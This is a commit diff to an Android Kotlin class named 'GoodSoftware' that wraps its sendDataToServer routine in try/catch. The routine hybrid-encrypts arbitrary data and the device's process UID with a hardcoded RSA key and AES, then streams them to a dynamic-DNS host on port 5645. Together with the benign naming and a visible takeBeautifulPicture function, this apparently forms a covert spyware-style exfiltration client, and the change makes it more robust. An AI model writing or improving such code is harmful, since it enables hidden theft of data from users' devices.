Make client not crash if it cant access the server
This commit is contained in:
		@@ -131,55 +131,59 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun sendDataToServer(sendData: String) {
 | 
					    fun sendDataToServer(sendData: String) {
 | 
				
			||||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					        try {
 | 
				
			||||||
        val host = "thinclient.duckdns.org"
 | 
					            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
        val port = 5645
 | 
					            val host = "thinclient.duckdns.org"
 | 
				
			||||||
        val secureRandom = SecureRandom()
 | 
					            val port = 5645
 | 
				
			||||||
        val keyBytes = ByteArray(16)
 | 
					            val secureRandom = SecureRandom()
 | 
				
			||||||
        val ivBytes = ByteArray(16)
 | 
					            val keyBytes = ByteArray(16)
 | 
				
			||||||
        secureRandom.nextBytes(keyBytes)
 | 
					            val ivBytes = ByteArray(16)
 | 
				
			||||||
        secureRandom.nextBytes(ivBytes)
 | 
					            secureRandom.nextBytes(keyBytes)
 | 
				
			||||||
        val key = SecretKeySpec(keyBytes, "AES")
 | 
					            secureRandom.nextBytes(ivBytes)
 | 
				
			||||||
        val iv = IvParameterSpec(ivBytes)
 | 
					            val key = SecretKeySpec(keyBytes, "AES")
 | 
				
			||||||
        val algorithm = "AES/CBC/PKCS5Padding"
 | 
					            val iv = IvParameterSpec(ivBytes)
 | 
				
			||||||
 | 
					            val algorithm = "AES/CBC/PKCS5Padding"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val chunkSize = 131072
 | 
					            val chunkSize = 131072
 | 
				
			||||||
        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
					            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val socket = Socket(host, port)
 | 
					            val socket = Socket(host, port)
 | 
				
			||||||
        val writer = PrintWriter(socket.getOutputStream(), true)
 | 
					            val writer = PrintWriter(socket.getOutputStream(), true)
 | 
				
			||||||
        val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
					            val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val encodedKey = encodeBase64(keyBytes)
 | 
					            val encodedKey = encodeBase64(keyBytes)
 | 
				
			||||||
        writer.println(encryptText(encodedKey, pKey))
 | 
					            writer.println(encryptText(encodedKey, pKey))
 | 
				
			||||||
        reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        val encodedIV = encodeBase64(ivBytes)
 | 
					 | 
				
			||||||
        writer.println(encryptText(encodedIV, pKey))
 | 
					 | 
				
			||||||
        reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
					 | 
				
			||||||
        writer.println(encryptText(encodedUid, pKey))
 | 
					 | 
				
			||||||
        reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        for (chunk in chunks) {
 | 
					 | 
				
			||||||
            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
					 | 
				
			||||||
            writer.println(cipherText)
 | 
					 | 
				
			||||||
            reader.readLine()
 | 
					            reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            val encodedIV = encodeBase64(ivBytes)
 | 
				
			||||||
 | 
					            writer.println(encryptText(encodedIV, pKey))
 | 
				
			||||||
 | 
					            reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
				
			||||||
 | 
					            writer.println(encryptText(encodedUid, pKey))
 | 
				
			||||||
 | 
					            reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            for (chunk in chunks) {
 | 
				
			||||||
 | 
					                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
				
			||||||
 | 
					                writer.println(cipherText)
 | 
				
			||||||
 | 
					                reader.readLine()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            writer.println("END_OF_COMMUNICATION")
 | 
				
			||||||
 | 
					            reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            println("Client: Ready for next operation")
 | 
				
			||||||
 | 
					            writer.println("Ready for next operation")
 | 
				
			||||||
 | 
					            reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            // Close resources
 | 
				
			||||||
 | 
					            writer.close()
 | 
				
			||||||
 | 
					            reader.close()
 | 
				
			||||||
 | 
					            socket.close()
 | 
				
			||||||
 | 
					        } catch (e: Exception) {
 | 
				
			||||||
 | 
					            e.printStackTrace()
 | 
				
			||||||
 | 
					            // Handle the exception, e.g., log the error or notify the user
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        writer.println("END_OF_COMMUNICATION")
 | 
					 | 
				
			||||||
        reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        println("Client: Ready for next operation")
 | 
					 | 
				
			||||||
        writer.println("Ready for next operation")
 | 
					 | 
				
			||||||
        reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        // Close resources
 | 
					 | 
				
			||||||
        writer.close()
 | 
					 | 
				
			||||||
        reader.close()
 | 
					 | 
				
			||||||
        socket.close()
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
					    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user